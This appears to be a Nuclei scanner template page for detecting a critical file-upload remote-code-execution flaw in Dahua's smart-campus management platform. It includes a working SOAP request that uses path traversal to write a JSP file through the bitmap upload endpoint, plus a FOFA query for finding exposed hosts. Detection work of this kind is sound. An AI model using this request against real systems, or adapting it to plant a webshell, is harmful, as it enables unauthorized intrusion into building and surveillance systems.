Dahua Bitmap - File Upload Remote Code Execution

ID: dahua-bitmap-fileupload

Severity: critical

Author: DhiyaneshDK

Tags: dahua,file-upload,rce,intrusive

Description

YAML Source

id: dahua-bitmap-fileupload

info:
  name: Dahua Bitmap - File Upload Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8E%E6%99%BA%E6%85%A7%E5%9B%AD%E5%8C%BA%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0bitmap%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: "app=\"dahua-智慧园区综合管理平台\""
  tags: dahua,file-upload,rce,intrusive
variables:
  rand_str: "{{randstr}}"
  cmd: "{{base64(to_lower(rand_text_alpha(6)))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /emap/webservice/gis/soap/bitmap HTTP/1.1
        Hostname: {{Hostname}}
        Content-Type: "text/xml; charset=utf-8"

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/">
            <soapenv:Header/>
                <soapenv:Body>
                        <res:uploadPicFile>
                            <arg0>
                            <picPath>/../{{rand_str}}.jsp</picPath>
                            </arg0>
                            <arg1>{{cmd}}</arg1>
                        </res:uploadPicFile>
                </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        internal: true
        words:
          - '<soap:Envelope'

  - raw:
      - |
        GET /upload/{{rand_str}}.jsp HTTP/1.1
        Hostname: {{Hostname}}

    matchers:
      - type: word
        words:
          - '{{base64_decode(cmd)}}'
# digest: 4a0a00473045022100dd6d2a3741619e83959fe99fc4adbd961029f94c2768c545358788ef25905c860220124762f1efb410d811a2d82e9b4ac097afae1ece520e42a26dc0ab62b03868a0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/dahua/dahua-bitmap-fileupload.yaml"

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